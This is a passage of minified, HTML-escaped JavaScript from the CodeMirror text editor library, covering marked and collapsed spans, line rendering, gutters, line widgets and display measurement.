function MarkedSpan(marker,from,to){this.marker=marker;this.from=from;this.to=to}
function getMarkedSpanFor(spans,marker){if(spans){for(var i=0;i&lt;spans.length;++i){var span=spans[i];if(span.marker==marker){return span}}}}
function removeMarkedSpan(spans,span){var r;for(var i=0;i&lt;spans.length;++i){if(spans[i]!=span){(r||(r=[])).push(spans[i])}}
return r}
function addMarkedSpan(line,span){line.markedSpans=line.markedSpans?line.markedSpans.concat([span]):[span];span.marker.attachLine(line)}
function markedSpansBefore(old,startCh,isInsert){var nw;if(old){for(var i=0;i&lt;old.length;++i){var span=old[i],marker=span.marker;var startsBefore=span.from==null||(marker.inclusiveLeft?span.from&lt;=startCh:span.from&lt;startCh);if(startsBefore||span.from==startCh&amp;&amp;marker.type==&quot;bookmark&quot;&amp;&amp;(!isInsert||!span.marker.insertLeft)){var endsAfter=span.to==null||(marker.inclusiveRight?span.to&gt;=startCh:span.to&gt;startCh);(nw||(nw=[])).push(new MarkedSpan(marker,span.from,endsAfter?null:span.to))}}}
return nw}
function markedSpansAfter(old,endCh,isInsert){var nw;if(old){for(var i=0;i&lt;old.length;++i){var span=old[i],marker=span.marker;var endsAfter=span.to==null||(marker.inclusiveRight?span.to&gt;=endCh:span.to&gt;endCh);if(endsAfter||span.from==endCh&amp;&amp;marker.type==&quot;bookmark&quot;&amp;&amp;(!isInsert||span.marker.insertLeft)){var startsBefore=span.from==null||(marker.inclusiveLeft?span.from&lt;=endCh:span.from&lt;endCh);(nw||(nw=[])).push(new MarkedSpan(marker,startsBefore?null:span.from-endCh,span.to==null?null:span.to-endCh))}}}
return nw}
function stretchSpansOverChange(doc,change){if(change.full){return null}
var oldFirst=isLine(doc,change.from.line)&amp;&amp;getLine(doc,change.from.line).markedSpans;var oldLast=isLine(doc,change.to.line)&amp;&amp;getLine(doc,change.to.line).markedSpans;if(!oldFirst&amp;&amp;!oldLast){return null}
var startCh=change.from.ch,endCh=change.to.ch,isInsert=cmp(change.from,change.to)==0;var first=markedSpansBefore(oldFirst,startCh,isInsert);var last=markedSpansAfter(oldLast,endCh,isInsert);var sameLine=change.text.length==1,offset=lst(change.text).length+(sameLine?startCh:0);if(first){for(var i=0;i&lt;first.length;++i){var span=first[i];if(span.to==null){var found=getMarkedSpanFor(last,span.marker);if(!found){span.to=startCh}else if(sameLine){span.to=found.to==null?null:found.to+offset}}}}
if(last){for(var i$1=0;i$1&lt;last.length;++i$1){var span$1=last[i$1];if(span$1.to!=null){span$1.to+=offset}
if(span$1.from==null){var found$1=getMarkedSpanFor(first,span$1.marker);if(!found$1){span$1.from=offset;if(sameLine){(first||(first=[])).push(span$1)}}}else{span$1.from+=offset;if(sameLine){(first||(first=[])).push(span$1)}}}}
if(first){first=clearEmptySpans(first)}
if(last&amp;&amp;last!=first){last=clearEmptySpans(last)}
var newMarkers=[first];if(!sameLine){var gap=change.text.length-2,gapMarkers;if(gap&gt;0&amp;&amp;first){for(var i$2=0;i$2&lt;first.length;++i$2){if(first[i$2].to==null){(gapMarkers||(gapMarkers=[])).push(new MarkedSpan(first[i$2].marker,null,null))}}}
for(var i$3=0;i$3&lt;gap;++i$3){newMarkers.push(gapMarkers)}
newMarkers.push(last)}
return newMarkers}
function clearEmptySpans(spans){for(var i=0;i&lt;spans.length;++i){var span=spans[i];if(span.from!=null&amp;&amp;span.from==span.to&amp;&amp;span.marker.clearWhenEmpty!==!1){spans.splice(i--,1)}}
if(!spans.length){return null}
return spans}
function removeReadOnlyRanges(doc,from,to){var markers=null;doc.iter(from.line,to.line+1,function(line){if(line.markedSpans){for(var i=0;i&lt;line.markedSpans.length;++i){var mark=line.markedSpans[i].marker;if(mark.readOnly&amp;&amp;(!markers||indexOf(markers,mark)==-1)){(markers||(markers=[])).push(mark)}}}});if(!markers){return null}
var parts=[{from:from,to:to}];for(var i=0;i&lt;markers.length;++i){var mk=markers[i],m=mk.find(0);for(var j=0;j&lt;parts.length;++j){var p=parts[j];if(cmp(p.to,m.from)&lt;0||cmp(p.from,m.to)&gt;0){continue}
var newParts=[j,1],dfrom=cmp(p.from,m.from),dto=cmp(p.to,m.to);if(dfrom&lt;0||!mk.inclusiveLeft&amp;&amp;!dfrom){newParts.push({from:p.from,to:m.from})}
if(dto&gt;0||!mk.inclusiveRight&amp;&amp;!dto){newParts.push({from:m.to,to:p.to})}
parts.splice.apply(parts,newParts);j+=newParts.length-3}}
return parts}
function detachMarkedSpans(line){var spans=line.markedSpans;if(!spans){return}
for(var i=0;i&lt;spans.length;++i){spans[i].marker.detachLine(line)}
line.markedSpans=null}
function attachMarkedSpans(line,spans){if(!spans){return}
for(var i=0;i&lt;spans.length;++i){spans[i].marker.attachLine(line)}
line.markedSpans=spans}
function extraLeft(marker){return marker.inclusiveLeft?-1:0}
function extraRight(marker){return marker.inclusiveRight?1:0}
function compareCollapsedMarkers(a,b){var lenDiff=a.lines.length-b.lines.length;if(lenDiff!=0){return lenDiff}
var aPos=a.find(),bPos=b.find();var fromCmp=cmp(aPos.from,bPos.from)||extraLeft(a)-extraLeft(b);if(fromCmp){return-fromCmp}
var toCmp=cmp(aPos.to,bPos.to)||extraRight(a)-extraRight(b);if(toCmp){return toCmp}
return b.id-a.id}
function collapsedSpanAtSide(line,start){var sps=sawCollapsedSpans&amp;&amp;line.markedSpans,found;if(sps){for(var sp=(void 0),i=0;i&lt;sps.length;++i){sp=sps[i];if(sp.marker.collapsed&amp;&amp;(start?sp.from:sp.to)==null&amp;&amp;(!found||compareCollapsedMarkers(found,sp.marker)&lt;0)){found=sp.marker}}}
return found}
function collapsedSpanAtStart(line){return collapsedSpanAtSide(line,!0)}
function collapsedSpanAtEnd(line){return collapsedSpanAtSide(line,!1)}
function collapsedSpanAround(line,ch){var sps=sawCollapsedSpans&amp;&amp;line.markedSpans,found;if(sps){for(var i=0;i&lt;sps.length;++i){var sp=sps[i];if(sp.marker.collapsed&amp;&amp;(sp.from==null||sp.from&lt;ch)&amp;&amp;(sp.to==null||sp.to&gt;ch)&amp;&amp;(!found||compareCollapsedMarkers(found,sp.marker)&lt;0)){found=sp.marker}}}
return found}
function conflictingCollapsedRange(doc,lineNo,from,to,marker){var line=getLine(doc,lineNo);var sps=sawCollapsedSpans&amp;&amp;line.markedSpans;if(sps){for(var i=0;i&lt;sps.length;++i){var sp=sps[i];if(!sp.marker.collapsed){continue}
var found=sp.marker.find(0);var fromCmp=cmp(found.from,from)||extraLeft(sp.marker)-extraLeft(marker);var toCmp=cmp(found.to,to)||extraRight(sp.marker)-extraRight(marker);if(fromCmp&gt;=0&amp;&amp;toCmp&lt;=0||fromCmp&lt;=0&amp;&amp;toCmp&gt;=0){continue}
if(fromCmp&lt;=0&amp;&amp;(sp.marker.inclusiveRight&amp;&amp;marker.inclusiveLeft?cmp(found.to,from)&gt;=0:cmp(found.to,from)&gt;0)||fromCmp&gt;=0&amp;&amp;(sp.marker.inclusiveRight&amp;&amp;marker.inclusiveLeft?cmp(found.from,to)&lt;=0:cmp(found.from,to)&lt;0)){return!0}}}}
function visualLine(line){var merged;while(merged=collapsedSpanAtStart(line)){line=merged.find(-1,!0).line}
return line}
function visualLineEnd(line){var merged;while(merged=collapsedSpanAtEnd(line)){line=merged.find(1,!0).line}
return line}
function visualLineContinued(line){var merged,lines;while(merged=collapsedSpanAtEnd(line)){line=merged.find(1,!0).line;(lines||(lines=[])).push(line)}
return lines}
function visualLineNo(doc,lineN){var line=getLine(doc,lineN),vis=visualLine(line);if(line==vis){return lineN}
return lineNo(vis)}
function visualLineEndNo(doc,lineN){if(lineN&gt;doc.lastLine()){return lineN}
var line=getLine(doc,lineN),merged;if(!lineIsHidden(doc,line)){return lineN}
while(merged=collapsedSpanAtEnd(line)){line=merged.find(1,!0).line}
return lineNo(line)+1}
function lineIsHidden(doc,line){var sps=sawCollapsedSpans&amp;&amp;line.markedSpans;if(sps){for(var sp=(void 0),i=0;i&lt;sps.length;++i){sp=sps[i];if(!sp.marker.collapsed){continue}
if(sp.from==null){return!0}
if(sp.marker.widgetNode){continue}
if(sp.from==0&amp;&amp;sp.marker.inclusiveLeft&amp;&amp;lineIsHiddenInner(doc,line,sp)){return!0}}}}
function lineIsHiddenInner(doc,line,span){if(span.to==null){var end=span.marker.find(1,!0);return lineIsHiddenInner(doc,end.line,getMarkedSpanFor(end.line.markedSpans,span.marker))}
if(span.marker.inclusiveRight&amp;&amp;span.to==line.text.length){return!0}
for(var sp=(void 0),i=0;i&lt;line.markedSpans.length;++i){sp=line.markedSpans[i];if(sp.marker.collapsed&amp;&amp;!sp.marker.widgetNode&amp;&amp;sp.from==span.to&amp;&amp;(sp.to==null||sp.to!=span.from)&amp;&amp;(sp.marker.inclusiveLeft||span.marker.inclusiveRight)&amp;&amp;lineIsHiddenInner(doc,line,sp)){return!0}}}
function heightAtLine(lineObj){lineObj=visualLine(lineObj);var h=0,chunk=lineObj.parent;for(var i=0;i&lt;chunk.lines.length;++i){var line=chunk.lines[i];if(line==lineObj){break}else{h+=line.height}}
for(var p=chunk.parent;p;chunk=p,p=chunk.parent){for(var i$1=0;i$1&lt;p.children.length;++i$1){var cur=p.children[i$1];if(cur==chunk){break}else{h+=cur.height}}}
return h}
function lineLength(line){if(line.height==0){return 0}
var len=line.text.length,merged,cur=line;while(merged=collapsedSpanAtStart(cur)){var found=merged.find(0,!0);cur=found.from.line;len+=found.from.ch-found.to.ch}
cur=line;while(merged=collapsedSpanAtEnd(cur)){var found$1=merged.find(0,!0);len-=cur.text.length-found$1.from.ch;cur=found$1.to.line;len+=cur.text.length-found$1.to.ch}
return len}
function findMaxLine(cm){var d=cm.display,doc=cm.doc;d.maxLine=getLine(doc,doc.first);d.maxLineLength=lineLength(d.maxLine);d.maxLineChanged=!0;doc.iter(function(line){var len=lineLength(line);if(len&gt;d.maxLineLength){d.maxLineLength=len;d.maxLine=line}})}
var Line=function(text,markedSpans,estimateHeight){this.text=text;attachMarkedSpans(this,markedSpans);this.height=estimateHeight?estimateHeight(this):1};Line.prototype.lineNo=function(){return lineNo(this)};eventMixin(Line);function updateLine(line,text,markedSpans,estimateHeight){line.text=text;if(line.stateAfter){line.stateAfter=null}
if(line.styles){line.styles=null}
if(line.order!=null){line.order=null}
detachMarkedSpans(line);attachMarkedSpans(line,markedSpans);var estHeight=estimateHeight?estimateHeight(line):1;if(estHeight!=line.height){updateLineHeight(line,estHeight)}}
function cleanUpLine(line){line.parent=null;detachMarkedSpans(line)}
var styleToClassCache={},styleToClassCacheWithMode={};function interpretTokenStyle(style,options){if(!style||/^\s*$/.test(style)){return null}
var cache=options.addModeClass?styleToClassCacheWithMode:styleToClassCache;return cache[style]||(cache[style]=style.replace(/\S+/g,&quot;cm-$&amp;&quot;))}
function buildLineContent(cm,lineView){var content=eltP(&quot;span&quot;,null,null,webkit?&quot;padding-right: .1px&quot;:null);var builder={pre:eltP(&quot;pre&quot;,[content],&quot;CodeMirror-line&quot;),content:content,col:0,pos:0,cm:cm,trailingSpace:!1,splitSpaces:cm.getOption(&quot;lineWrapping&quot;)};lineView.measure={};for(var i=0;i&lt;=(lineView.rest?lineView.rest.length:0);i++){var line=i?lineView.rest[i-1]:lineView.line,order=(void 0);builder.pos=0;builder.addToken=buildToken;if(hasBadBidiRects(cm.display.measure)&amp;&amp;(order=getOrder(line,cm.doc.direction))){builder.addToken=buildTokenBadBidi(builder.addToken,order)}
builder.map=[];var allowFrontierUpdate=lineView!=cm.display.externalMeasured&amp;&amp;lineNo(line);insertLineContent(line,builder,getLineStyles(cm,line,allowFrontierUpdate));if(line.styleClasses){if(line.styleClasses.bgClass){builder.bgClass=joinClasses(line.styleClasses.bgClass,builder.bgClass||&quot;&quot;)}
if(line.styleClasses.textClass){builder.textClass=joinClasses(line.styleClasses.textClass,builder.textClass||&quot;&quot;)}}
if(builder.map.length==0){builder.map.push(0,0,builder.content.appendChild(zeroWidthElement(cm.display.measure)))}
if(i==0){lineView.measure.map=builder.map;lineView.measure.cache={}}else{(lineView.measure.maps||(lineView.measure.maps=[])).push(builder.map);(lineView.measure.caches||(lineView.measure.caches=[])).push({})}}
if(webkit){var last=builder.content.lastChild;if(/\bcm-tab\b/.test(last.className)||(last.querySelector&amp;&amp;last.querySelector(&quot;.cm-tab&quot;))){builder.content.className=&quot;cm-tab-wrap-hack&quot;}}
signal(cm,&quot;renderLine&quot;,cm,lineView.line,builder.pre);if(builder.pre.className){builder.textClass=joinClasses(builder.pre.className,builder.textClass||&quot;&quot;)}
return builder}
function defaultSpecialCharPlaceholder(ch){var token=elt(&quot;span&quot;,&quot;\u2022&quot;,&quot;cm-invalidchar&quot;);token.title=&quot;\\u&quot;+ch.charCodeAt(0).toString(16);token.setAttribute(&quot;aria-label&quot;,token.title);return token}
function buildToken(builder,text,style,startStyle,endStyle,css,attributes){if(!text){return}
var displayText=builder.splitSpaces?splitSpaces(text,builder.trailingSpace):text;var special=builder.cm.state.specialChars,mustWrap=!1;var content;if(!special.test(text)){builder.col+=text.length;content=document.createTextNode(displayText);builder.map.push(builder.pos,builder.pos+text.length,content);if(ie&amp;&amp;ie_version&lt;9){mustWrap=!0}
builder.pos+=text.length}else{content=document.createDocumentFragment();var pos=0;while(!0){special.lastIndex=pos;var m=special.exec(text);var skipped=m?m.index-pos:text.length-pos;if(skipped){var txt=document.createTextNode(displayText.slice(pos,pos+skipped));if(ie&amp;&amp;ie_version&lt;9){content.appendChild(elt(&quot;span&quot;,[txt]))}else{content.appendChild(txt)}
builder.map.push(builder.pos,builder.pos+skipped,txt);builder.col+=skipped;builder.pos+=skipped}
if(!m){break}
pos+=skipped+1;var txt$1=(void 0);if(m[0]==&quot;\t&quot;){var tabSize=builder.cm.options.tabSize,tabWidth=tabSize-builder.col%tabSize;txt$1=content.appendChild(elt(&quot;span&quot;,spaceStr(tabWidth),&quot;cm-tab&quot;));txt$1.setAttribute(&quot;role&quot;,&quot;presentation&quot;);txt$1.setAttribute(&quot;cm-text&quot;,&quot;\t&quot;);builder.col+=tabWidth}else if(m[0]==&quot;\r&quot;||m[0]==&quot;\n&quot;){txt$1=content.appendChild(elt(&quot;span&quot;,m[0]==&quot;\r&quot;?&quot;\u240d&quot;:&quot;\u2424&quot;,&quot;cm-invalidchar&quot;));txt$1.setAttribute(&quot;cm-text&quot;,m[0]);builder.col+=1}else{txt$1=builder.cm.options.specialCharPlaceholder(m[0]);txt$1.setAttribute(&quot;cm-text&quot;,m[0]);if(ie&amp;&amp;ie_version&lt;9){content.appendChild(elt(&quot;span&quot;,[txt$1]))}else{content.appendChild(txt$1)}
builder.col+=1}
builder.map.push(builder.pos,builder.pos+1,txt$1);builder.pos++}}
builder.trailingSpace=displayText.charCodeAt(text.length-1)==32;if(style||startStyle||endStyle||mustWrap||css||attributes){var fullStyle=style||&quot;&quot;;if(startStyle){fullStyle+=startStyle}
if(endStyle){fullStyle+=endStyle}
var token=elt(&quot;span&quot;,[content],fullStyle,css);if(attributes){for(var attr in attributes){if(attributes.hasOwnProperty(attr)&amp;&amp;attr!=&quot;style&quot;&amp;&amp;attr!=&quot;class&quot;){token.setAttribute(attr,attributes[attr])}}}
return builder.content.appendChild(token)}
builder.content.appendChild(content)}
function splitSpaces(text,trailingBefore){if(text.length&gt;1&amp;&amp;!/  /.test(text)){return text}
var spaceBefore=trailingBefore,result=&quot;&quot;;for(var i=0;i&lt;text.length;i++){var ch=text.charAt(i);if(ch==&quot; &quot;&amp;&amp;spaceBefore&amp;&amp;(i==text.length-1||text.charCodeAt(i+1)==32)){ch=&quot;\u00a0&quot;}
result+=ch;spaceBefore=ch==&quot; &quot;}
return result}
function buildTokenBadBidi(inner,order){return function(builder,text,style,startStyle,endStyle,css,attributes){style=style?style+&quot; cm-force-border&quot;:&quot;cm-force-border&quot;;var start=builder.pos,end=start+text.length;for(;;){var part=(void 0);for(var i=0;i&lt;order.length;i++){part=order[i];if(part.to&gt;start&amp;&amp;part.from&lt;=start){break}}
if(part.to&gt;=end){return inner(builder,text,style,startStyle,endStyle,css,attributes)}
inner(builder,text.slice(0,part.to-start),style,startStyle,null,css,attributes);startStyle=null;text=text.slice(part.to-start);start=part.to}}}
function buildCollapsedSpan(builder,size,marker,ignoreWidget){var widget=!ignoreWidget&amp;&amp;marker.widgetNode;if(widget){builder.map.push(builder.pos,builder.pos+size,widget)}
if(!ignoreWidget&amp;&amp;builder.cm.display.input.needsContentAttribute){if(!widget){widget=builder.content.appendChild(document.createElement(&quot;span&quot;))}
widget.setAttribute(&quot;cm-marker&quot;,marker.id)}
if(widget){builder.cm.display.input.setUneditable(widget);builder.content.appendChild(widget)}
builder.pos+=size;builder.trailingSpace=!1}
function insertLineContent(line,builder,styles){var spans=line.markedSpans,allText=line.text,at=0;if(!spans){for(var i$1=1;i$1&lt;styles.length;i$1+=2){builder.addToken(builder,allText.slice(at,at=styles[i$1]),interpretTokenStyle(styles[i$1+1],builder.cm.options))}
return}
var len=allText.length,pos=0,i=1,text=&quot;&quot;,style,css;var nextChange=0,spanStyle,spanEndStyle,spanStartStyle,collapsed,attributes;for(;;){if(nextChange==pos){spanStyle=spanEndStyle=spanStartStyle=css=&quot;&quot;;attributes=null;collapsed=null;nextChange=Infinity;var foundBookmarks=[],endStyles=(void 0);for(var j=0;j&lt;spans.length;++j){var sp=spans[j],m=sp.marker;if(m.type==&quot;bookmark&quot;&amp;&amp;sp.from==pos&amp;&amp;m.widgetNode){foundBookmarks.push(m)}else if(sp.from&lt;=pos&amp;&amp;(sp.to==null||sp.to&gt;pos||m.collapsed&amp;&amp;sp.to==pos&amp;&amp;sp.from==pos)){if(sp.to!=null&amp;&amp;sp.to!=pos&amp;&amp;nextChange&gt;sp.to){nextChange=sp.to;spanEndStyle=&quot;&quot;}
if(m.className){spanStyle+=&quot; &quot;+m.className}
if(m.css){css=(css?css+&quot;;&quot;:&quot;&quot;)+m.css}
if(m.startStyle&amp;&amp;sp.from==pos){spanStartStyle+=&quot; &quot;+m.startStyle}
if(m.endStyle&amp;&amp;sp.to==nextChange){(endStyles||(endStyles=[])).push(m.endStyle,sp.to)}
if(m.title){(attributes||(attributes={})).title=m.title}
if(m.attributes){for(var attr in m.attributes){(attributes||(attributes={}))[attr]=m.attributes[attr]}}
if(m.collapsed&amp;&amp;(!collapsed||compareCollapsedMarkers(collapsed.marker,m)&lt;0)){collapsed=sp}}else if(sp.from&gt;pos&amp;&amp;nextChange&gt;sp.from){nextChange=sp.from}}
if(endStyles){for(var j$1=0;j$1&lt;endStyles.length;j$1+=2){if(endStyles[j$1+1]==nextChange){spanEndStyle+=&quot; &quot;+endStyles[j$1]}}}
if(!collapsed||collapsed.from==pos){for(var j$2=0;j$2&lt;foundBookmarks.length;++j$2){buildCollapsedSpan(builder,0,foundBookmarks[j$2])}}
if(collapsed&amp;&amp;(collapsed.from||0)==pos){buildCollapsedSpan(builder,(collapsed.to==null?len+1:collapsed.to)-pos,collapsed.marker,collapsed.from==null);if(collapsed.to==null){return}
if(collapsed.to==pos){collapsed=!1}}}
if(pos&gt;=len){break}
var upto=Math.min(len,nextChange);while(!0){if(text){var end=pos+text.length;if(!collapsed){var tokenText=end&gt;upto?text.slice(0,upto-pos):text;builder.addToken(builder,tokenText,style?style+spanStyle:spanStyle,spanStartStyle,pos+tokenText.length==nextChange?spanEndStyle:&quot;&quot;,css,attributes)}
if(end&gt;=upto){text=text.slice(upto-pos);pos=upto;break}
pos=end;spanStartStyle=&quot;&quot;}
text=allText.slice(at,at=styles[i++]);style=interpretTokenStyle(styles[i++],builder.cm.options)}}}
function LineView(doc,line,lineN){this.line=line;this.rest=visualLineContinued(line);this.size=this.rest?lineNo(lst(this.rest))-lineN+1:1;this.node=this.text=null;this.hidden=lineIsHidden(doc,line)}
function buildViewArray(cm,from,to){var array=[],nextPos;for(var pos=from;pos&lt;to;pos=nextPos){var view=new LineView(cm.doc,getLine(cm.doc,pos),pos);nextPos=pos+view.size;array.push(view)}
return array}
var operationGroup=null;function pushOperation(op){if(operationGroup){operationGroup.ops.push(op)}else{op.ownsGroup=operationGroup={ops:[op],delayedCallbacks:[]}}}
function fireCallbacksForOps(group){var callbacks=group.delayedCallbacks,i=0;do{for(;i&lt;callbacks.length;i++){callbacks[i].call(null)}
for(var j=0;j&lt;group.ops.length;j++){var op=group.ops[j];if(op.cursorActivityHandlers){while(op.cursorActivityCalled&lt;op.cursorActivityHandlers.length){op.cursorActivityHandlers[op.cursorActivityCalled++].call(null,op.cm)}}}}while(i&lt;callbacks.length)}
function finishOperation(op,endCb){var group=op.ownsGroup;if(!group){return}
try{fireCallbacksForOps(group)}finally{operationGroup=null;endCb(group)}}
var orphanDelayedCallbacks=null;function signalLater(emitter,type){var arr=getHandlers(emitter,type);if(!arr.length){return}
var args=Array.prototype.slice.call(arguments,2),list;if(operationGroup){list=operationGroup.delayedCallbacks}else if(orphanDelayedCallbacks){list=orphanDelayedCallbacks}else{list=orphanDelayedCallbacks=[];setTimeout(fireOrphanDelayed,0)}
var loop=function(i){list.push(function(){return arr[i].apply(null,args)})};for(var i=0;i&lt;arr.length;++i)
loop(i);}
function fireOrphanDelayed(){var delayed=orphanDelayedCallbacks;orphanDelayedCallbacks=null;for(var i=0;i&lt;delayed.length;++i){delayed[i]()}}
function updateLineForChanges(cm,lineView,lineN,dims){for(var j=0;j&lt;lineView.changes.length;j++){var type=lineView.changes[j];if(type==&quot;text&quot;){updateLineText(cm,lineView)}else if(type==&quot;gutter&quot;){updateLineGutter(cm,lineView,lineN,dims)}else if(type==&quot;class&quot;){updateLineClasses(cm,lineView)}else if(type==&quot;widget&quot;){updateLineWidgets(cm,lineView,dims)}}
lineView.changes=null}
function ensureLineWrapped(lineView){if(lineView.node==lineView.text){lineView.node=elt(&quot;div&quot;,null,null,&quot;position: relative&quot;);if(lineView.text.parentNode){lineView.text.parentNode.replaceChild(lineView.node,lineView.text)}
lineView.node.appendChild(lineView.text);if(ie&amp;&amp;ie_version&lt;8){lineView.node.style.zIndex=2}}
return lineView.node}
function updateLineBackground(cm,lineView){var cls=lineView.bgClass?lineView.bgClass+&quot; &quot;+(lineView.line.bgClass||&quot;&quot;):lineView.line.bgClass;if(cls){cls+=&quot; CodeMirror-linebackground&quot;}
if(lineView.background){if(cls){lineView.background.className=cls}else{lineView.background.parentNode.removeChild(lineView.background);lineView.background=null}}else if(cls){var wrap=ensureLineWrapped(lineView);lineView.background=wrap.insertBefore(elt(&quot;div&quot;,null,cls),wrap.firstChild);cm.display.input.setUneditable(lineView.background)}}
function getLineContent(cm,lineView){var ext=cm.display.externalMeasured;if(ext&amp;&amp;ext.line==lineView.line){cm.display.externalMeasured=null;lineView.measure=ext.measure;return ext.built}
return buildLineContent(cm,lineView)}
function updateLineText(cm,lineView){var cls=lineView.text.className;var built=getLineContent(cm,lineView);if(lineView.text==lineView.node){lineView.node=built.pre}
lineView.text.parentNode.replaceChild(built.pre,lineView.text);lineView.text=built.pre;if(built.bgClass!=lineView.bgClass||built.textClass!=lineView.textClass){lineView.bgClass=built.bgClass;lineView.textClass=built.textClass;updateLineClasses(cm,lineView)}else if(cls){lineView.text.className=cls}}
function updateLineClasses(cm,lineView){updateLineBackground(cm,lineView);if(lineView.line.wrapClass){ensureLineWrapped(lineView).className=lineView.line.wrapClass}else if(lineView.node!=lineView.text){lineView.node.className=&quot;&quot;}
var textClass=lineView.textClass?lineView.textClass+&quot; &quot;+(lineView.line.textClass||&quot;&quot;):lineView.line.textClass;lineView.text.className=textClass||&quot;&quot;}
function updateLineGutter(cm,lineView,lineN,dims){if(lineView.gutter){lineView.node.removeChild(lineView.gutter);lineView.gutter=null}
if(lineView.gutterBackground){lineView.node.removeChild(lineView.gutterBackground);lineView.gutterBackground=null}
if(lineView.line.gutterClass){var wrap=ensureLineWrapped(lineView);lineView.gutterBackground=elt(&quot;div&quot;,null,&quot;CodeMirror-gutter-background &quot;+lineView.line.gutterClass,(&quot;left: &quot;+(cm.options.fixedGutter?dims.fixedPos:-dims.gutterTotalWidth)+&quot;px; width: &quot;+(dims.gutterTotalWidth)+&quot;px&quot;));cm.display.input.setUneditable(lineView.gutterBackground);wrap.insertBefore(lineView.gutterBackground,lineView.text)}
var markers=lineView.line.gutterMarkers;if(cm.options.lineNumbers||markers){var wrap$1=ensureLineWrapped(lineView);var gutterWrap=lineView.gutter=elt(&quot;div&quot;,null,&quot;CodeMirror-gutter-wrapper&quot;,(&quot;left: &quot;+(cm.options.fixedGutter?dims.fixedPos:-dims.gutterTotalWidth)+&quot;px&quot;));cm.display.input.setUneditable(gutterWrap);wrap$1.insertBefore(gutterWrap,lineView.text);if(lineView.line.gutterClass){gutterWrap.className+=&quot; &quot;+lineView.line.gutterClass}
if(cm.options.lineNumbers&amp;&amp;(!markers||!markers[&quot;CodeMirror-linenumbers&quot;])){lineView.lineNumber=gutterWrap.appendChild(elt(&quot;div&quot;,lineNumberFor(cm.options,lineN),&quot;CodeMirror-linenumber CodeMirror-gutter-elt&quot;,(&quot;left: &quot;+(dims.gutterLeft[&quot;CodeMirror-linenumbers&quot;])+&quot;px; width: &quot;+(cm.display.lineNumInnerWidth)+&quot;px&quot;)))}
if(markers){for(var k=0;k&lt;cm.display.gutterSpecs.length;++k){var id=cm.display.gutterSpecs[k].className,found=markers.hasOwnProperty(id)&amp;&amp;markers[id];if(found){gutterWrap.appendChild(elt(&quot;div&quot;,[found],&quot;CodeMirror-gutter-elt&quot;,(&quot;left: &quot;+(dims.gutterLeft[id])+&quot;px; width: &quot;+(dims.gutterWidth[id])+&quot;px&quot;)))}}}}}
function updateLineWidgets(cm,lineView,dims){if(lineView.alignable){lineView.alignable=null}
var isWidget=classTest(&quot;CodeMirror-linewidget&quot;);for(var node=lineView.node.firstChild,next=(void 0);node;node=next){next=node.nextSibling;if(isWidget.test(node.className)){lineView.node.removeChild(node)}}
insertLineWidgets(cm,lineView,dims)}
function buildLineElement(cm,lineView,lineN,dims){var built=getLineContent(cm,lineView);lineView.text=lineView.node=built.pre;if(built.bgClass){lineView.bgClass=built.bgClass}
if(built.textClass){lineView.textClass=built.textClass}
updateLineClasses(cm,lineView);updateLineGutter(cm,lineView,lineN,dims);insertLineWidgets(cm,lineView,dims);return lineView.node}
function insertLineWidgets(cm,lineView,dims){insertLineWidgetsFor(cm,lineView.line,lineView,dims,!0);if(lineView.rest){for(var i=0;i&lt;lineView.rest.length;i++){insertLineWidgetsFor(cm,lineView.rest[i],lineView,dims,!1)}}}
function insertLineWidgetsFor(cm,line,lineView,dims,allowAbove){if(!line.widgets){return}
var wrap=ensureLineWrapped(lineView);for(var i=0,ws=line.widgets;i&lt;ws.length;++i){var widget=ws[i],node=elt(&quot;div&quot;,[widget.node],&quot;CodeMirror-linewidget&quot;+(widget.className?&quot; &quot;+widget.className:&quot;&quot;));if(!widget.handleMouseEvents){node.setAttribute(&quot;cm-ignore-events&quot;,&quot;true&quot;)}
positionLineWidget(widget,node,lineView,dims);cm.display.input.setUneditable(node);if(allowAbove&amp;&amp;widget.above){wrap.insertBefore(node,lineView.gutter||lineView.text)}else{wrap.appendChild(node)}
signalLater(widget,&quot;redraw&quot;)}}
function positionLineWidget(widget,node,lineView,dims){if(widget.noHScroll){(lineView.alignable||(lineView.alignable=[])).push(node);var width=dims.wrapperWidth;node.style.left=dims.fixedPos+&quot;px&quot;;if(!widget.coverGutter){width-=dims.gutterTotalWidth;node.style.paddingLeft=dims.gutterTotalWidth+&quot;px&quot;}
node.style.width=width+&quot;px&quot;}
if(widget.coverGutter){node.style.zIndex=5;node.style.position=&quot;relative&quot;;if(!widget.noHScroll){node.style.marginLeft=-dims.gutterTotalWidth+&quot;px&quot;}}}
function widgetHeight(widget){if(widget.height!=null){return widget.height}
var cm=widget.doc.cm;if(!cm){return 0}
if(!contains(document.body,widget.node)){var parentStyle=&quot;position: relative;&quot;;if(widget.coverGutter){parentStyle+=&quot;margin-left: -&quot;+cm.display.gutters.offsetWidth+&quot;px;&quot;}
if(widget.noHScroll){parentStyle+=&quot;width: &quot;+cm.display.wrapper.clientWidth+&quot;px;&quot;}
removeChildrenAndAdd(cm.display.measure,elt(&quot;div&quot;,[widget.node],null,parentStyle))}
return widget.height=widget.node.parentNode.offsetHeight}
function eventInWidget(display,e){for(var n=e_target(e);n!=display.wrapper;n=n.parentNode){if(!n||(n.nodeType==1&amp;&amp;n.getAttribute(&quot;cm-ignore-events&quot;)==&quot;true&quot;)||(n.parentNode==display.sizer&amp;&amp;n!=display.mover)){return!0}}}
function paddingTop(display){return display.lineSpace.offsetTop}
function paddingVert(display){return display.mover.offsetHeight-display.lineSpace.offsetHeight}
function paddingH(display){if(display.cachedPaddingH){return display.cachedPaddingH}
var e=removeChildrenAndAdd(display.measure,elt(&quot;pre&quot;,&quot;x&quot;,&quot;CodeMirror-line-like&quot;));var style=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle;var data={left:parseInt(style.paddingLeft),right:parseInt(style.paddingRight)};if(!isNaN(data.left)&amp;&amp;!isNaN(data.right)){display.cachedPaddingH=data}
return data}
function scrollGap(cm){return scrollerGap-cm.display.nativeBarWidth}
function displayWidth(cm){return cm.display.scroller.clientWidth-scrollGap(cm)-cm.display.barWidth}
function displayHeight(cm){return cm.display.scroller.clientHeight-scrollGap(cm)-cm.display.barHeight}
